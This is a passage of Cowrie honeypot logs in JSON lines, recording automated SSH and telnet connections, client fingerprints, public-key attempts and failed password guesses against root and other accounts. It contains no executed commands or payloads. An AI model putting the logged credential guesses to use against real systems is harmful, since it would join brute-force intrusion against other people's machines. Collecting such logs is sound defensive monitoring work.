acCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:54.862713Z","src_ip":"102.223.92.101","session":"2946cc523a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vanessa","password":"vanessa123","message":"login attempt [vanessa/vanessa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:55.543667Z","src_ip":"102.223.92.101","session":"2946cc523a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:20:56.719903Z","src_ip":"102.223.92.101","session":"2946cc523a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33981,"dst_ip":"159.203.135.109","dst_port":23,"session":"e03c41df8471","protocol":"telnet","message":"New connection: 186.195.16.41:33981 (159.203.135.109:23) [session: e03c41df8471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:03.714858Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":12020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f334a1771c","protocol":"ssh","message":"New connection: 87.121.69.138:12020 (10.17.0.5:22) [session: f4f334a1771c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:16.544502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:16.553039Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:16.640052Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:eb:7b:ff:9d:85:88:96:70:c2:af:11:ea:ea:9a:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ57t7UvEVzN5v8jZ652ln64eMMVer9/9ZBPYTYE/P80RxLsT4OEmsyH88jQqNcMi6WiAHTw0r2arYb3JusYDYjzJeKfsnxMJVJtbOlIhNiQ3j1f8aqiErUTcTVvDsJTZzFz4o8Njk+J3jGnEsiEeeQhIwSYx3VdgYU+GKSc867VOPMdElII0ZW+tQkfhyK/uiRAaXacc0c9pfTqrFXwOIfqHkFWkkRXQx1PgTEdKHTCPlH3e+af1osheVlomp6BMg0ZAfKX/TDBdf2PQe2kY1jGLKBGh1B+R8Eji5POcw1SZQp2qDXqHkyRF+/SvJN7fVkgdYUqCDzpBUfoEYskv5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:eb:7b:ff:9d:85:88:96:70:c2:af:11:ea:ea:9a:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.036308Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:eb:7b:ff:9d:85:88:96:70:c2:af:11:ea:ea:9a:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ57t7UvEVzN5v8jZ652ln64eMMVer9/9ZBPYTYE/P80RxLsT4OEmsyH88jQqNcMi6WiAHTw0r2arYb3JusYDYjzJeKfsnxMJVJtbOlIhNiQ3j1f8aqiErUTcTVvDsJTZzFz4o8Njk+J3jGnEsiEeeQhIwSYx3VdgYU+GKSc867VOPMdElII0ZW+tQkfhyK/uiRAaXacc0c9pfTqrFXwOIfqHkFWkkRXQx1PgTEdKHTCPlH3e+af1osheVlomp6BMg0ZAfKX/TDBdf2PQe2kY1jGLKBGh1B+R8Eji5POcw1SZQp2qDXqHkyRF+/SvJN7fVkgdYUqCDzpBUfoEYskv5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.052511Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:07:54:1c:35:8f:3b:cb:cf:06:a7:d0:6b:a7:7c:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8sW5iNXI2XWlxd3+pSGGu2Ia/VblqrKeEWUQrsxA8M1h1eI1rDWbfqmCyVx9CGg+p4VkQcWb2qNeJMibA15Wx748v+2He0ny2dun8ri7YIbEaZxAaA5ZyJ246TcU8Qp4kiFl3BothD5i5Ka2yBqO6vqFStboGP83gGLw6gCjMDS3KmEsQv3nehdY/gAGA+4j3XoS+kUZcVpHYiiXcDj5T01IbFcjlm1MnCM0e8/atETXw3+aQ1uFPHhfZN+zao1SSqLmU0eW47POnXUv67m1np4lkbGVxysIutfTeqsyN4d/xGs2genH+FPOQ+1I0EoTCUz7lvpIJGNT8oq6NSxoJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:07:54:1c:35:8f:3b:cb:cf:06:a7:d0:6b:a7:7c:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.147363Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:07:54:1c:35:8f:3b:cb:cf:06:a7:d0:6b:a7:7c:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8sW5iNXI2XWlxd3+pSGGu2Ia/VblqrKeEWUQrsxA8M1h1eI1rDWbfqmCyVx9CGg+p4VkQcWb2qNeJMibA15Wx748v+2He0ny2dun8ri7YIbEaZxAaA5ZyJ246TcU8Qp4kiFl3BothD5i5Ka2yBqO6vqFStboGP83gGLw6gCjMDS3KmEsQv3nehdY/gAGA+4j3XoS+kUZcVpHYiiXcDj5T01IbFcjlm1MnCM0e8/atETXw3+aQ1uFPHhfZN+zao1SSqLmU0eW47POnXUv67m1np4lkbGVxysIutfTeqsyN4d/xGs2genH+FPOQ+1I0EoTCUz7lvpIJGNT8oq6NSxoJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.151845Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:10:41:d8:83:96:0e:8f:3c:27:53:5b:9b:74:42:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+J0X6j7hf0LmAlQ6XSUkt31wWUui2/sXEDq/bsWnbn4KYleU+eHlYacsItULRorjBGzpwbaTUaiN399zW5hPl6sPg+KWw1FReu2BjIRJQBX7f04UkCJNWbBoP04IPM+ew1qP6TstFXGwhSfYv3MUznnlT6+LptreSgqAsNXCKBrYJHeeuEnMTjPcJ+RLBKxgEyrplPuQulurcFhHXMEWZWoOvG1PSg8uuGmKhCKQr4k1LC1C8vnTPDMtA7PF2h1Vsol/9El5/oNsHtOIIYtAtuJzgyhVHgK8dEaplrkmLJpQSDrqF/spGSp3xwgAXupg02Ij61bddWRCLYmgOS1D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:10:41:d8:83:96:0e:8f:3c:27:53:5b:9b:74:42:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.239205Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:10:41:d8:83:96:0e:8f:3c:27:53:5b:9b:74:42:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+J0X6j7hf0LmAlQ6XSUkt31wWUui2/sXEDq/bsWnbn4KYleU+eHlYacsItULRorjBGzpwbaTUaiN399zW5hPl6sPg+KWw1FReu2BjIRJQBX7f04UkCJNWbBoP04IPM+ew1qP6TstFXGwhSfYv3MUznnlT6+LptreSgqAsNXCKBrYJHeeuEnMTjPcJ+RLBKxgEyrplPuQulurcFhHXMEWZWoOvG1PSg8uuGmKhCKQr4k1LC1C8vnTPDMtA7PF2h1Vsol/9El5/oNsHtOIIYtAtuJzgyhVHgK8dEaplrkmLJpQSDrqF/spGSp3xwgAXupg02Ij61bddWRCLYmgOS1D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.243185Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:40:6c:b5:54:95:5d:22:4f:54:f3:fb:18:5f:1c:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFos+n0CwqPJASIuscnfLKLc6OaXLRBinUek8lDfSNLNj72fgzt5CaNbUQylzD+OoOys2TKxs/tCJjWXvWgI143umTX0/KqMcMycDyVO4SiYMg0tQaEJhdbZMJP836Le9pFMbg/zuFpYHOFfrrp9PtFs4Tay+r1YWwGg8TjjR0Xp6ynuZmJOIJ/B4wM+jUUps3WE7S3yMcBuqghIbwsbAyzLYVuVuf2o4kQhuMUTBawreEdyTeiW+LH9vlShNYUYnIC1y1XiLgOsPi9PhGqcTzQ0EASpmWMW9DYTXNPzDnclHd3HYGCInVHFpM0Okbc3Wa405D+nwXPBPOudYfDSKR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:40:6c:b5:54:95:5d:22:4f:54:f3:fb:18:5f:1c:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.328871Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:40:6c:b5:54:95:5d:22:4f:54:f3:fb:18:5f:1c:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFos+n0CwqPJASIuscnfLKLc6OaXLRBinUek8lDfSNLNj72fgzt5CaNbUQylzD+OoOys2TKxs/tCJjWXvWgI143umTX0/KqMcMycDyVO4SiYMg0tQaEJhdbZMJP836Le9pFMbg/zuFpYHOFfrrp9PtFs4Tay+r1YWwGg8TjjR0Xp6ynuZmJOIJ/B4wM+jUUps3WE7S3yMcBuqghIbwsbAyzLYVuVuf2o4kQhuMUTBawreEdyTeiW+LH9vlShNYUYnIC1y1XiLgOsPi9PhGqcTzQ0EASpmWMW9DYTXNPzDnclHd3HYGCInVHFpM0Okbc3Wa405D+nwXPBPOudYfDSKR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.334177Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:96:2e:d7:b7:73:78:e8:cf:b6:17:56:2c:43:33:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmfBRMHHWsw38+ldDwFK2U90se0QpVd70pPD66vPzomyutvGt7nJOK9VVdfI7t+BC98BGQ/rhTnw01joebL+41G0jDiJJAVoMJBXht3sLOB2tUkb/2vzQPnBO5gLigw0gff+xMsKwo9sWVeV834ec8SgPNH8Nyi4IYJAu1H52VOI9LxaChajwpCJhpF4EdCfJxLNaNdZFfRqEKk2clxTKvOHQCcVsv7/kIAfhl6lbH+GTseGDcR9V0+xi/o/SF/b0gO4jxSRBXAetyYtZCTmk5rO26I3qjv14RpnKo083VOqYVds1DfX2usVPagtnhAZI4JE0xPTVWXvYfw64ik62Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:96:2e:d7:b7:73:78:e8:cf:b6:17:56:2c:43:33:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.418792Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:96:2e:d7:b7:73:78:e8:cf:b6:17:56:2c:43:33:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmfBRMHHWsw38+ldDwFK2U90se0QpVd70pPD66vPzomyutvGt7nJOK9VVdfI7t+BC98BGQ/rhTnw01joebL+41G0jDiJJAVoMJBXht3sLOB2tUkb/2vzQPnBO5gLigw0gff+xMsKwo9sWVeV834ec8SgPNH8Nyi4IYJAu1H52VOI9LxaChajwpCJhpF4EdCfJxLNaNdZFfRqEKk2clxTKvOHQCcVsv7/kIAfhl6lbH+GTseGDcR9V0+xi/o/SF/b0gO4jxSRBXAetyYtZCTmk5rO26I3qjv14RpnKo083VOqYVds1DfX2usVPagtnhAZI4JE0xPTVWXvYfw64ik62Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.424534Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:17.511423Z","src_ip":"87.121.69.138","session":"f4f334a1771c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"15e143ab807e","protocol":"telnet","message":"New connection: 192.119.13.58:47084 (10.17.0.5:23) [session: 15e143ab807e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:21.061154Z"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":43474,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e58d8658461","protocol":"ssh","message":"New connection: 158.178.141.16:43474 (159.203.135.109:22) [session: 7e58d8658461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:24.317863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:24.328578Z","src_ip":"158.178.141.16","session":"7e58d8658461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:24.538231Z","src_ip":"158.178.141.16","session":"7e58d8658461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX1234!@#$","message":"login attempt [root/1qaz@WSX1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:25.404267Z","src_ip":"158.178.141.16","session":"7e58d8658461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:26.622710Z","src_ip":"158.178.141.16","session":"7e58d8658461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.99843740463257,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:26.855124Z","src_ip":"192.119.13.58","session":"8d9e5fe31598","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":59138,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee6253d6a5a3","protocol":"ssh","message":"New connection: 49.51.202.114:59138 (159.203.135.109:22) [session: ee6253d6a5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:27.296178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:27.301301Z","src_ip":"49.51.202.114","session":"ee6253d6a5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:27.370868Z","src_ip":"49.51.202.114","session":"ee6253d6a5a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oleg","password":"123","message":"login attempt [oleg/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:27.674893Z","src_ip":"49.51.202.114","session":"ee6253d6a5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:28.749685Z","src_ip":"49.51.202.114","session":"ee6253d6a5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56318,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef8d6910391e","protocol":"ssh","message":"New connection: 37.233.85.71:56318 (159.203.135.109:22) [session: ef8d6910391e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:29.018223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:29.024029Z","src_ip":"37.233.85.71","session":"ef8d6910391e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:29.120937Z","src_ip":"37.233.85.71","session":"ef8d6910391e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:29.415464Z","src_ip":"37.233.85.71","session":"ef8d6910391e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:30.515634Z","src_ip":"37.233.85.71","session":"ef8d6910391e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":32926,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ed7dfc0fcdb","protocol":"ssh","message":"New connection: 200.175.61.207:32926 (10.17.0.5:22) [session: 4ed7dfc0fcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:37.009611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:21:37.015198Z","src_ip":"200.175.61.207","session":"4ed7dfc0fcdb","protocol":"ssh"}
